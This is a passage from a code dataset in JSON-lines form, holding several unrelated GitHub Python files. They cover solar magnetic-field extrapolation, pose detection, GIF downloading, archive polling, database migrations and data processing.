someListeners[aListenerName] = theListener\n \n \n @sessions.renewer\n def unregister(self, aSessionToken, aListenerName):\n '''\n Unregister a listener\n \n @param aSessionToken: a token for a valid session\n @type aSessionToken: string\n @param aListenerName: a valid listener identifier\n @type aListenerName: string\n '''\n \n someListeners = self.getListeners(aSessionToken)\n try:\n theListener = someListeners.pop(aListenerName)\n try:\n theListener.uninstall()\n except:\n pass\n theListener.close()\n except:\n pass\n \n \nclass ClientListener(EventsManagerListener):\n \"\"\"\n Forwarder for a remove client listener\n \"\"\"\n def __init__(self, theReverseToken, theServer, theOwner, theEvents=None):\n self._theReverseToken = theReverseToken\n self._theServer = theServer\n self._theOwner = theOwner\n EventsManagerListener.__init__(self, dict([ (aEvent, self.forward) for aEvent in (theEvents or []) ]))\n \n \n def forward(self, *args, **kwargs):\n '''\n Forward a notify call to the client listener add the reverse token arg\n '''\n args = [self._theReverseToken] + [args[0]] + [[self._theOwner._broker.Registry.toSkeleton(x, True) for x in args[1:]]]\n try:\n myclips_server.timeout_call( self._theServer.Listener.notify, timeout=5, args=args)\n except myclips_server.FunctionCallTimeout:\n myclips_server.logger.info(\"...a listener forwarding took more than 5 second. Aborted\")\n except:\n myclips_server.logger.info(\"A listener could be not valid anymore: %s\", self)\n \n def close(self):\n '''\n Notify client listener about link shotdown\n '''\n try:\n self._theServer.Listener.close(self._theReverseToken)\n except:\n myclips_server.logger.info(\"A listener could be not valid anymore: %s\", self)\n \n def notify(self, eventName, *args, **kargs):\n '''\n Override Observer.notify to add the event name as\n first arg in the list if *args\n '''\n args = [eventName] + list(args)\n EventsManagerListener.notify(self, eventName, *args, **kargs)\n \n def __repr__(self, *args, **kwargs):\n return \"\"%repr(self._theServer)\n ","repo_name":"ximarx/myclips-server","sub_path":"src/myclips_server/xmlrpc/services/clientevents/ClientEvents.py","file_name":"ClientEvents.py","file_ext":"py","file_size_in_byte":7376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31132947867","text":"\"\"\"\nGONG PFSS extrapolation\n=======================\n\nCalculating PFSS solution for a GONG synoptic magnetic field map.\n\nTo save to a JSON file, possibly use Binary JSON to reduce the size of the file\n\nbjson.org\nmsgpack.org\n\n\"\"\"\nimport json\nimport astropy.constants as const\nimport astropy.units as u\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sunpy.map\nfrom astropy.coordinates import SkyCoord\n\nfrom sunpy.coordinates import frames, get_earth, transform_with_sun_center\n\nimport os\n\nimport sunpy.map\nfrom sunpy.net import Fido\nfrom sunpy.net import attrs as a\n\nimport pfsspy.utils\nimport pfsspy\n\nfrom pfsspy import coords, tracing\nfrom pfsspy.sample_data import get_gong_map\n\n###############################################################################\n# Load a GONG magnetic field map\ngong_fname = get_gong_map()\nprint(gong_fname)\ngong_map = sunpy.map.Map(gong_fname)\n\n###############################################################################\n# Load HMI magnetic feild \n#hmi attempt ------------------------------------------\ntime = a.Time('2022/12/09', '2023/12/09')\nseries = a.jsoc.Series('hmi.synoptic_mr_polfil_720s')\ncrot = a.jsoc.PrimeKey('CAR_ROT', 2210)\nresult = Fido.search(time, series, crot,\n a.jsoc.Notify('m243006@usna.edu'))\n\n#downloads the files \nprint(result)\nfiles = Fido.fetch(result)\n\ngong_map = sunpy.map.Map(files[0])\npfsspy.utils.fix_hmi_meta(gong_map)\n#hmi_map.peek()\n\n#-----------------------------------------------------------------\n\ngong_fname = get_gong_map()\nprint(gong_fname)\n#gong_map = sunpy.map.Map(gong_fname)\n\n\n###############################################################################\n# The PFSS solution is calculated on a regular 3D grid in (phi, s, rho), where\n# rho = ln(r), and r is the standard spherical radial coordinate. We need to\n# define the number of rho grid points, and the source surface radius.\nnrho = 35\nrss = 2.5\n\n###############################################################################\n# From the boundary condition, number of radial grid points, and source\n# surface, we now construct an Input object that stores this information\npfss_in = pfsspy.Input(gong_map, nrho, rss)\n\n\ndef set_axes_lims(ax):\n ax.set_xlim(0, 360)\n ax.set_ylim(0, 180)\n\n\n###############################################################################\n# Using the Input object, plot the input field\n#m = pfss_in.map\n#fig = plt.figure()\n#ax = plt.subplot(projection=m)\n#m.plot()\n#m.plot_settings[\"norm\"]\n#plt.colorbar()\n#ax.set_title('Input field')\n#set_axes_lims(ax)\n\n###############################################################################\n# Now calculate the PFSS solution\nprint('works')\npfss_out = pfsspy.pfss(pfss_in)\nprint('works')\n###############################################################################\n# Using the Output object we can plot the source surface field, and the\n# polarity inversion line.\n\n# Plot the map. Since are not interested in the exact map coordinates, we can\n# simply use :meth:`~matplotlib.Axes.imshow`.\nnorm = gong_map.plot_settings['norm']\nnorm.vmin, norm.vmax = np.percentile(gong_map.data, [1, 99.9])\nax.imshow(gong_map.data,\n norm=norm,\n cmap=gong_map.plot_settings['cmap'],\n origin=\"lower\")\nfig.show()\n\nss_br = pfss_out.source_surface_br\n# Create the figure and axes\nfig = plt.figure()\nax = plt.subplot(projection=ss_br)\n\n# Plot the source surface map\nss_br.plot()\n# Plot the polarity inversion line\nax.plot_coord(pfss_out.source_surface_pils[0])\n# Plot formatting\nplt.colorbar()\nax.set_title('Source surface magnetic field')\nset_axes_lims(ax)\n\n###############################################################################\n# It is also easy to plot the magnetic field at an arbitrary height within\n# the PFSS solution.\n\n# Get the radial magnetic field at a given height\nridx = 15\nbr = pfss_out.bc[0][:, :, ridx]\n# Create a sunpy Map object using output WCS\nbr = sunpy.map.Map(br.T, pfss_out.source_surface_br.wcs)\n# Get the radial coordinate\nr = np.exp(pfss_out.grid.rc[ridx])\n\n# Create the figure and axes\nfig = plt.figure()\nax = plt.subplot(projection=br)\n\n# Plot the source surface map\nbr.plot(cmap='RdBu')\n# Plot formatting\nplt.colorbar()\nax.set_title('$B_{r}$ ' + f'at r={r:.2f}' + '$r_{\\\\odot}$')\nset_axes_lims(ax)\n\n\n###############################################################################\n# Finally, using the 3D magnetic field solution we can trace some field lines.\n# In this case 64 points equally gridded in theta and phi are chosen and\n# traced from the source surface outwards.\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\n\ntracer = tracing.FortranTracer()\nr = 1.2 * const.R_sun\nlat = np.linspace(-np.pi / 2, np.pi / 2, 8, endpoint=False)\nlon = np.linspace(0, 2 * np.pi, 8, endpoint=False)\nlat, lon = np.meshgrid(lat, lon, indexing='ij')\nlat, lon = lat.ravel() * u.rad, lon.ravel() * u.rad\n\nseeds = SkyCoord(lon, lat, r, frame=pfss_out.coordinate_frame)\n\nfield_lines = tracer.trace(seeds, pfss_out)\n\n# HGS observer time = 2018-08-11 00:00:00\n# Representation is x, y, z\n# Distance units in solar radii\n\n# Set the observer an measurement units as expected by helios\nfield_line_observer = get_earth(\"2018-08-11 00:00:00\")\nfield_line_observer.representation_type='cartesian'\nd_unit = u.solRad\nb_unit = u.G\n\n# Get the observer information and put it in a dictionary\nobserver = {\"obstime\": {\"value\": field_line_observer.obstime.value,\n \"scale\": field_line_observer.obstime.scale,\n \"format\": field_line_observer.obstime.format},\n \"x\": {\"value\": field_line_observer.x.to(d_unit).value,\n \"unit\": str(d_unit)},\n \"y\": {\"value\": field_line_observer.y.to(d_unit).value,\n \"unit\": str(d_unit)},\n \"z\": {\"value\": field_line_observer.z.to(d_unit).value,\n \"unit\": str(d_unit)},\n \"frame\": field_line_observer.name}\n\n# Create the fieldlines dictionary\nfieldlines = {\"frame\": {\"x_unit\": str(d_unit),\n \"y_unit\": str(d_unit),\n \"z_unit\": str(d_unit),\n \"coordinate_system\": \"Heliographic Stonyhurst\",\n \"source_map_obstime\": {\"value\": gong_map.date.value,\n \"scale\": gong_map.date.scale,\n \"format\": gong_map.date.format}},\n \"field_description\": {\"b_unit\": str(b_unit),\n \"bx_value\": \"x component of field vector\",\n \"by_value\": \"y component of field vector\",\n \"bz_value\": \"z component of field vector\",\n \"b_mag\": \"magnitude of field\"},\n \"lines\": []}\n#------------------------------------------------------------------------------------------------------------\n# Go through the field lines and extract information \nthis_field_line = -1\nfor field_line in field_lines:\n flc = field_line.coords\n if len(flc) > 0:\n this_field_line = this_field_line + 1\n with transform_with_sun_center():\n hgs = field_line.coords.transform_to(field_line_observer).transform_to(frames.HeliographicStonyhurst)\n hgs.representation_type='cartesian'\n b_along_fline = field_line.b_along_fline.to(b_unit).value\n fieldlines[\"lines\"].append({\"x\":hgs.x.to(d_unit).value.tolist(),\n \"y\": hgs.y.to(d_unit).value.tolist(),\n \"z\": hgs.z.to(d_unit).value.tolist(),\n \"polarity\":field_line.polarity,\n \"bx_value\": b_along_fline[:,0].tolist(),\n \"by_value\": b_along_fline[:,1].tolist(),\n \"bz_value\": b_along_fline[:,2].tolist(),\n \"b_mag\": np.sqrt(b_along_fline[:,0]**2 + b_along_fline[:,1]**2 + b_along_fline[:,2]**2).tolist()})\n\n color = {0: 'black', -1: 'tab:blue', 1: 'tab:red'}.get(field_line.polarity)\n ax.plot(hgs.x.to(d_unit),\n hgs.y.to(d_unit),\n hgs.z.to(d_unit), color=color, linewidth=1)\n\n#d unit is the solar radius \nax.set_title('PFSS solution')\nplt.show()\n\n\n# Write out the PFSS field line information\noutput = {'observer': observer, 'fieldlines': fieldlines}\nfilename = \"test_pfsspy2.json\"\nwith open(filename, \"w\") as outfile:\n json.dump(output, outfile)\n\n","repo_name":"m243006/Field-Lines","sub_path":"output_extrapolation_from_pfss.py","file_name":"output_extrapolation_from_pfss.py","file_ext":"py","file_size_in_byte":8685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23448406161","text":"def invite_friends(audience):\n\tstand_people = 0\n\tinvited_friends = 0\n\tfor j in range(len(audience)):\n\t\tif j > stand_people:\n\t\t\tinvited_friends += j - stand_people\n\t\t\tstand_people += j - stand_people\n\t\tstand_people += audience[j]\n\treturn invited_friends\n\ninp = open(\"test.in\", 'r')\nt = int(inp.readline())\ni = 1\nres = open(\"res.txt\", 'w')\nwhile i <= t:\n\ttest = inp.readline()\n\tmax_shy, shyness = test.split()\n\tshyness = list(map(lambda x: int(x), list(shyness)))\n\tres.writelines(\"Case #\" + str(i) + \": \" + str(invite_friends(shyness)) + \"\\n\")\n\ti += 1\nres.close()\ninp.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_155/1219.py","file_name":"1219.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29830256249","text":"import cv2\nimport mediapipe as mp\nimport time\n\nclass bodyDetector():\n def __init__(self,mode=False,model_complexity=1,smooth=True,ensegm=True,smoth_segm=True,detectionCon=0.5,trackCon=0.5):\n \n self.mode=mode\n self.model_complexity=model_complexity \n self.smooth=smooth\n self.ensegm=ensegm\n self.smoth_segm=smoth_segm\n self.detectionCon=detectionCon\n self.trackCon=trackCon\n\n self.mpDraw=mp.solutions.drawing_utils\n self.mpPose=mp.solutions.pose \n self.pose=self.mpPose.Pose(self.mode,self.model_complexity,self.smooth,self.ensegm,self.smoth_segm,self.detectionCon,self.trackCon)\n \n \n\n\n def findBody(self,img,draw=True):\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n #\n #print(dir(self))\n self.results = self.pose.process(imgRGB) \n if self.results.pose_landmarks:\n #wypisywanie wspolrzednych nosa \n #print(self.results.pose_landmarks.landmark[self.mpPose.PoseLandmark.NOSE].x * 360)\n if draw:\n self.mpDraw.draw_landmarks(img,self.results.pose_landmarks,self.mpPose.POSE_CONNECTIONS)\n \n\n return img\n\n def getPosition(self,img,draw=True):\n lmList=[]\n if self.results.pose_landmarks:\n for id,lm in enumerate(self.results.pose_landmarks.landmark):\n h,w,c=img.shape\n cx,cy=int(lm.x*w),int(lm.y*h)\n lmList.append([id,cx,cy])\n #print(lmList[id][0])\n if draw:\n cv2.circle(img,(cx,cy),5,(255,0,0),cv2.FILLED)\n \n return lmList\n\n def make_1080(self,cap):\n cap.set(3,1920)\n cap.set(4,1080)\n return cap\n\n\n\n\ndef main():\n cap=cv2.VideoCapture(0)\n pTime=0\n detector=bodyDetector()\n cap=detector.make_1080(cap)\n #lmList=detector.getPosition(img)\n \n\n while True:\n success,img=cap.read()\n img=detector.findBody(img)\n lmList=detector.getPosition(img,draw=False)\n #wyswietlenie okreslonego landmarka\n #if len(lmList)!=0:\n #print(lmList[5])\n #rysowanie w okreslony sposob wybranego punktu (np. 14)\n #jak przestaje wykrywac punkt, to sam sie program wylacza\n #cv2.circle(img,(lmList[14][1],lmList[14][2]),15,(0,0,255),cv2.FILLED)\n cTime=time.time() \n fps=1/(cTime-pTime)\n pTime=cTime\n\n cv2.putText(img,str(int(fps)),(70,50),cv2.FONT_HERSHEY_PLAIN,3,(255,0,0),3)\n\n \n\n cv2.imshow(\"Image\",img)\n cv2.waitKey(1)\n# cap.release()\n#cv2.destroyAllWindows\n\nif __name__ == \"__main__\":\n main()","repo_name":"PatrykW7/Mediapipe","sub_path":"PoseEstimatorModule.py","file_name":"PoseEstimatorModule.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7548534334","text":"import json\nimport os\nimport shutil\nimport string\nimport urllib\nimport urllib.parse\nfrom concurrent.futures import ThreadPoolExecutor\nfrom urllib import request\n\nSEARCH_TERM = \"sausage party\"\nMAX_ITEM_COUNT = 200\nBASE_DOWNLOAD_DIR = f\"downloaded\"\nDOWNLOAD_DIR = f\"{BASE_DOWNLOAD_DIR}/{SEARCH_TERM}\"\nAPI_KEY = \"i_dont_matter_anyways\"\nBASE_URL = f\"https://g.tenor.com/v1/search?media_filter=minimal&limit=50&key={API_KEY}\"\nTHREAD_POOL_SIZE = 20\n\n\ndef clean():\n # create base download dir if not exists\n if not os.path.exists(BASE_DOWNLOAD_DIR):\n os.mkdir(BASE_DOWNLOAD_DIR)\n\n # remove possible leftovers from previous crawling\n if os.path.exists(DOWNLOAD_DIR):\n try:\n shutil.rmtree(DOWNLOAD_DIR)\n except OSError as e:\n print(f\"Error: {DOWNLOAD_DIR} : {e.strerror}\")\n\n # create download dir for search term\n os.mkdir(DOWNLOAD_DIR)\n\n\ndef download_gif(url: string, item_name: string):\n urllib.request.urlretrieve(url, f\"{DOWNLOAD_DIR}/{item_name}.gif\")\n\n\ndef main():\n clean()\n\n # split in chunks of 50 (api limit for single fetch = 50)\n for chunk_idx in range(int(MAX_ITEM_COUNT / 50)):\n print(f\"--- START CHUNK {chunk_idx + 1} ---\")\n\n # fetch gif list\n search_url = f\"{BASE_URL}&q={urllib.parse.quote(SEARCH_TERM)}&pos={chunk_idx * 50}\"\n gif_list_json = json.loads(urllib.request.urlopen(search_url).read())['results']\n\n # initialize thread pool\n pool = ThreadPoolExecutor(THREAD_POOL_SIZE)\n gif_count = 1\n # handle single gifs\n for gif_item in gif_list_json:\n # extract gif name & url\n gif_item_name = gif_item['content_description']\n gif_item_url = gif_item['media'][0]['gif']['url']\n\n # trigger download\n print(f\"{chunk_idx * 50 + gif_count} / {MAX_ITEM_COUNT} {gif_item_url}\")\n # async variant\n future = pool.submit(download_gif, gif_item_url, gif_item_name)\n # wait every few hundred items for threads to finish - prevents pool queue to overflow and do nasty stuff\n \"\"\"if company_count % 400 == 0:\n future.result()\"\"\"\n # sync variant\n # download_gif(gif_item_url, gif_item_name)\n gif_count += 1\n\n print(f\"--- END CHUNK {chunk_idx + 1} ---\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ncryptedV1/Tenor-Crawler","sub_path":"main_api.py","file_name":"main_api.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6876147377","text":"import errno\nimport logging\nimport os\nimport shutil\n\nfrom django.db import transaction\n\nfrom ESSArch_Core.auth.models import Group, GroupMember\nfrom ESSArch_Core.configuration.models import StoragePolicy\nfrom ESSArch_Core.ip.models import InformationPackage\nfrom ESSArch_Core.profiles.models import SubmissionAgreement\nfrom ESSArch_Core.profiles.utils import profile_types\nfrom ESSArch_Core.util import stable_path\nfrom ESSArch_Core.WorkflowEngine.polling.backends.base import (\n BaseWorkflowPoller,\n)\n\nlogger = logging.getLogger('essarch.workflow.polling.DirectoryWorkflowPoller')\np_types = [p_type.lower().replace(' ', '_') for p_type in profile_types]\n\n\nclass DirectoryWorkflowPoller(BaseWorkflowPoller):\n def poll(self, path, sa=None):\n for entry in os.listdir(path):\n subpath = os.path.join(path, entry)\n\n if os.path.isfile(subpath):\n continue\n\n objid = os.path.basename(subpath)\n if InformationPackage.objects.filter(object_identifier_value=objid).exists():\n logger.debug('Information package with object identifier value \"{}\" already exists'.format(objid))\n continue\n\n if not stable_path(subpath):\n continue\n\n sa = SubmissionAgreement.objects.get(name=sa)\n if sa.profile_workflow is None:\n logger.debug('No workflow profile in SA, skipping')\n continue\n\n storage_policy_name = 'default'\n try:\n storage_policy = StoragePolicy.objects.get(policy_name=storage_policy_name)\n except StoragePolicy.DoesNotExist:\n logger.exception('Storage policy \"{}\" not found'.format(storage_policy_name))\n raise\n\n org = Group.objects.get(name='Default')\n role = 'admin'\n responsible = GroupMember.objects.filter(roles__codename=role, group=org).get().member.django_user\n\n with transaction.atomic():\n ip = InformationPackage.objects.create(\n object_identifier_value=objid,\n object_path=subpath,\n package_type=InformationPackage.SIP,\n submission_agreement=sa,\n submission_agreement_locked=True,\n state='Prepared',\n responsible=responsible,\n policy=storage_policy,\n )\n ip.create_profile_rels(p_types, responsible)\n org.add_object(ip)\n yield ip\n\n def delete_source(self, path, ip):\n path = os.path.join(path, ip.object_identifier_value)\n try:\n shutil.rmtree(path)\n except OSError as e:\n if e.errno != errno.ENOENT:\n raise\n","repo_name":"OskarPersson/ESSArch","sub_path":"ESSArch_Core/workflow/polling/backends/directory.py","file_name":"directory.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"42788992251","text":"from datetime import datetime\n\nweather_collection = \"weather\"\nearthquake_collection = \"earthquake\"\naggregate_collection = \"aggregate\"\n\n\ndef fetch_data(mongo_helper, weather_api, earthquake_api, is_yesterday=False):\n earthquake_data = earthquake_api.fetch_yesterday_data() if is_yesterday else earthquake_api.fetch_monthly_data()\n\n for earthquake in earthquake_data:\n date_from_timestamp = datetime.fromtimestamp(earthquake[\"properties\"][\"time\"] / 1000)\n\n weather_data = weather_api.weather_information(\n earthquake[\"geometry\"][\"coordinates\"][1],\n earthquake[\"geometry\"][\"coordinates\"][0],\n date_from_timestamp.strftime(\"%Y-%m-%d\"))\n\n if weather_data is not None:\n weather_data[\"earthquake_id\"] = earthquake[\"id\"]\n weather_data[\"yesterday\"] = is_yesterday\n print(str(earthquake[\"geometry\"][\"coordinates\"][1]) + \" \" + str(earthquake[\"geometry\"][\"coordinates\"][0]))\n print(weather_data)\n mongo_helper.add(weather_collection, [weather_data])\n # Store data in the database\n mongo_helper.add(earthquake_collection, earthquake_data)\n","repo_name":"Voldlov/bdd-projet","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18483943915","text":"from pathlib import Path\n\nwith (Path(__file__).parent / \"input.txt\").open() as puzzle_input_file:\n puzzle_input_raw = puzzle_input_file.read()\n\n\nwires = []\nconvert_parameter = lambda x: int(x) if x.isdigit() else x\nfor line in puzzle_input_raw.splitlines():\n wire_input, wire_name = line.split(\"->\")\n wire_input_parameters = [x.strip() for x in wire_input.split()]\n\n if len(wire_input_parameters) == 1:\n wires.append((wire_name.strip(), \"SET\", convert_parameter(wire_input_parameters[0])))\n elif len(wire_input_parameters) == 2:\n wires.append((wire_name.strip(), \"NOT\", convert_parameter(wire_input_parameters[1])))\n else:\n wires.append((\n wire_name.strip(),\n wire_input_parameters[1], \n convert_parameter(wire_input_parameters[0]), \n convert_parameter(wire_input_parameters[2])\n ))\n\ndef resolve_all_wires(wires):\n resolved_wires = {}\n is_resolveable = lambda parameters: all(x in resolved_wires or isinstance(x, int) for x in parameters)\n get_parameter = lambda parameter: parameter if isinstance(parameter, int) else resolved_wires[parameter]\n while wires:\n wire, op, *parameters = wires.pop(0)\n if not is_resolveable(parameters):\n wires.append((wire, op, *parameters))\n continue\n\n if op == \"SET\":\n resolved_wires[wire] = get_parameter(parameters[0])\n elif op == \"AND\":\n resolved_wires[wire] = get_parameter(parameters[0]) & get_parameter(parameters[1])\n elif op == \"OR\":\n resolved_wires[wire] = get_parameter(parameters[0]) | get_parameter(parameters[1])\n elif op == \"NOT\":\n resolved_wires[wire] = get_parameter(parameters[0]) ^ 65535\n elif op == \"LSHIFT\":\n resolved_wires[wire] = get_parameter(parameters[0]) << get_parameter(parameters[1])\n elif op == \"RSHIFT\":\n resolved_wires[wire] = get_parameter(parameters[0]) >> get_parameter(parameters[1])\n else:\n wires.append((wire, op, *parameters))\n return resolved_wires\n\n\na = resolve_all_wires(wires.copy())[\"a\"]\nwires = [(\"b\", \"SET\", a) if w == \"b\" else (w, o, *p) for w, o, *p in wires]\na = resolve_all_wires(wires.copy())[\"a\"]\nprint(a)","repo_name":"timofurrer/aoc","sub_path":"2015/07/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19500828471","text":"import os\n\nimport torch\nimport torch.nn as nn\nfrom ray import tune\nfrom tqdm import tqdm\n\nimport nupic.research.frameworks.stochastic_connections.dataset_managers as dm\nimport nupic.research.frameworks.stochastic_connections.networks as networks\n\n\nclass Vanilla(object):\n def __init__(self,\n model_alg, model_params,\n dataset_name, dataset_params,\n optim_alg, optim_params,\n lr_scheduler_alg, lr_scheduler_params,\n batch_size_train, batch_size_test,\n use_tqdm=False, tqdm_mininterval=None):\n self.batch_size_train = batch_size_train\n self.batch_size_test = batch_size_test\n self.use_tqdm = use_tqdm\n self.tqdm_mininterval = tqdm_mininterval\n\n self.device = torch.device(\"cuda\"\n if torch.cuda.is_available()\n else \"cpu\")\n\n model_constructor = getattr(networks, model_alg)\n self.model = model_constructor(**model_params)\n self.model.to(self.device)\n\n dm_constructor = getattr(dm, dataset_name)\n self.dataset_manager = dm_constructor(**dataset_params)\n\n optim_constructor = getattr(torch.optim, optim_alg)\n self.optimizer = optim_constructor(self.model.parameters(),\n **optim_params)\n\n sched_constructor = getattr(torch.optim.lr_scheduler, lr_scheduler_alg)\n self.lr_scheduler = sched_constructor(self.optimizer,\n **lr_scheduler_params)\n\n self.loss_func = nn.CrossEntropyLoss()\n\n # Caching\n self.test_loader = torch.utils.data.DataLoader(\n self.dataset_manager.get_test_dataset(),\n batch_size=self.batch_size_test,\n shuffle=False,\n pin_memory=torch.cuda.is_available()\n )\n\n def test(self, loader):\n self.model.eval()\n val_loss = 0\n num_val_batches = 0\n val_correct = 0\n with torch.no_grad():\n if self.use_tqdm:\n batches = tqdm(loader, leave=False, desc=\"Testing\")\n else:\n batches = loader\n\n for data, target in batches:\n data, target = data.to(self.device), target.to(self.device)\n output = self.model(data)\n val_loss += self.loss_func(output, target).item()\n # get the index of the max log-probability\n pred = output.argmax(dim=1, keepdim=True)\n val_correct += pred.eq(target.view_as(pred)).sum().item()\n num_val_batches += 1\n\n return {\n \"mean_accuracy\": val_correct / len(loader.dataset),\n \"mean_loss\": val_loss / num_val_batches,\n \"total_correct\": val_correct,\n }\n\n def run_epoch(self, iteration):\n self.model.train()\n self._before_train_epoch()\n\n train_loader = torch.utils.data.DataLoader(\n self.dataset_manager.get_train_dataset(iteration),\n batch_size=self.batch_size_train,\n shuffle=True,\n pin_memory=torch.cuda.is_available()\n )\n\n if self.use_tqdm:\n batches = tqdm(train_loader, leave=False,\n desc=\"Training\", mininterval=self.tqdm_mininterval)\n else:\n batches = train_loader\n\n train_loss = 0.\n train_correct = 0.\n num_train_batches = 0\n\n for data, target in batches:\n data, target = data.to(self.device), target.to(self.device)\n output = self.model(data)\n loss = self.loss_func(output, target)\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n with torch.no_grad():\n train_loss += loss.item()\n pred = output.argmax(dim=1, keepdim=True)\n train_correct += pred.eq(target.view_as(pred)).sum().item()\n num_train_batches += 1\n\n self.lr_scheduler.step()\n self._after_train_epoch()\n\n result = {\n \"mean_train_accuracy\": train_correct / len(train_loader.dataset),\n \"mean_training_loss\": train_loss / num_train_batches,\n \"lr\": self.optimizer.state_dict()[\"param_groups\"][0][\"lr\"],\n }\n\n test_result = self.test(self.test_loader)\n result.update(test_result)\n return result\n\n def save(self, checkpoint_dir):\n checkpoint_path = os.path.join(checkpoint_dir, \"model.pth\")\n torch.save(self.model.state_dict(), checkpoint_path)\n return checkpoint_path\n\n def restore(self, checkpoint_dir):\n checkpoint_path = os.path.join(checkpoint_dir, \"model.pth\")\n self.model.load_state_dict(torch.load(checkpoint_path))\n\n def _before_train_epoch(self):\n pass\n\n def _after_train_epoch(self):\n pass\n\n\nclass VanillaRay(tune.Trainable):\n def _setup(self, config):\n self.exp = Vanilla(**config)\n\n def _train(self):\n return self.exp.run_epoch(self.iteration)\n\n def _save(self, checkpoint_dir):\n return self.exp.save(checkpoint_dir)\n\n def _restore(self, checkpoint):\n self.exp.restore(checkpoint)\n","repo_name":"mengjin001/nupic.research","sub_path":"nupic/research/frameworks/stochastic_connections/experiments/vanilla.py","file_name":"vanilla.py","file_ext":"py","file_size_in_byte":5249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"36520937167","text":"\"\"\"add release\n\nRevision ID: 6e1090262f0a\nRevises: \nCreate Date: 2021-04-02 11:29:40.051831\n\n\"\"\"\nimport logging\nimport re\nfrom pathlib import Path\n\nfrom alembic import op, context\nimport sqlalchemy as sa\nimport pandas as pd\n\nlogger = logging.getLogger(f\"alembic.{Path(__file__).name}\")\n\n# revision identifiers, used by Alembic.\nrevision = '6e1090262f0a'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\ndatalake_fs_location = Path(context.config.get_main_option(\"datalake_fs_location\"))\n\ndef upgrade():\n op.create_table(\n 'release',\n sa.Column('at_date', sa.Date(), nullable=False),\n sa.Column('product_id', sa.String(50), nullable=False),\n sa.Column('version', sa.String(10), nullable=False),\n sa.Column('name', sa.String(10)),\n sa.Column('release_date', sa.Date(), nullable=False),\n sa.Column('link', sa.String(255), nullable=False),\n )\n if context.get_x_argument(as_dictionary=True).get('include-seed-data', None):\n sample_data = Path(__file__).resolve().parent.parent.joinpath('sample_data/').glob(\"*.csv\")\n for csv_path in sample_data:\n logger.info(f\"Importing data from {csv_path}\")\n datalake_fs_location.joinpath(csv_path.name).symlink_to(csv_path)\n df_releases = pd.read_csv(csv_path)\n df_releases['at_date'] = re.search(r\"_(\\d+\\-\\d+\\-\\d+)\\.\", csv_path.name).group(1)\n df_releases.to_sql('release', con=op.get_bind(), index=False, if_exists='append')\n\n\ndef downgrade():\n for csv_path in datalake_fs_location.glob(\"*.csv\"):\n csv_path.unlink()\n op.drop_table('release')\n\n","repo_name":"mrdavidlaing/software-releases-dwh","sub_path":"schema/datalake/versions/6e1090262f0a_add_release.py","file_name":"6e1090262f0a_add_release.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17203746012","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 28 14:27:51 2021\n\n@author: hpfla\n\"\"\"\nimport params\nimport pandas as pd\nimport os\n\ndef process_le(is_county, outfilename):\n '''\n processess state or county level life expectancy data\n \n is_county -- a boolean that indicates the data is county level\n outfilename -- a string, the name of the output file\n \n reads in and cleans the data. returns the processed data'''\n\n # set up\n cols_to_keep = [\"State\",\n \"Life Expectancy\",\n 'Life Expectancy (AIAN)',\n \"Life Expectancy (Asian)\", \n \"Life Expectancy (Black)\", \n \"Life Expectancy (Hispanic)\", \n \"Life Expectancy (White)\"]\n if is_county:\n cols_to_keep = cols_to_keep + [\"County\"]\n id_vars = [\"State\", \"County\"]\n states = params.COUNTY_STATES\n else:\n id_vars = [\"State\"]\n states=params.STATES\n\n # read in\n df = pd.DataFrame()\n for state in states:\n file = os.path.join(params.RAW_DATA_PATH, \n 'life_expectancy',\n '2021 County Health Rankings {} Data.xlsx'.format(state))\n curr_df = pd.read_excel(file, sheet_name='Additional Measure Data')\n \n # make the top row the column names\n curr_df = curr_df.rename(columns=curr_df.iloc[0]).drop(curr_df.index[0])\n df = df.append(curr_df)\n\n\n if is_county:\n state_df = df[df['County'].isna()]\n df = df[~df['County'].isna()]\n else: \n df = df[df['County'].isna()]\n\n # subset to columns of interest\n df2 = df[cols_to_keep] \n\n # rename columns\n df3 = df2.rename(columns = {\"Life Expectancy\":\"Life Expectancy (Total)\"})\n\n # transform from wide to long\n df_long = pd.melt(df3, id_vars = id_vars\n ,var_name=\"Race\"\n ,value_name=\"Life Expectancy\")\n\n # Just keep the value within the parens\n df_long[\"Race\"] = df_long['Race'].str.extract(r\"\\((.*?)\\)\", expand=False)\n\n if is_county:\n # Calculate county life expectancy (LE based on entire population in county)\n total_df = df_long[df_long.Race == \"Total\"]\n total_df = total_df[[\"State\", \"County\", \"Life Expectancy\"]]\n total_df = total_df.rename(columns = {\"Life Expectancy\":\"County Life Expectancy\"})\n\n # Calculate race-county life expectancy (LE based on population of a certain race in county)\n df_long = df_long[~(df_long.Race == \"Total\")]\n df_long = df_long.rename(columns = {\"Life Expectancy\": 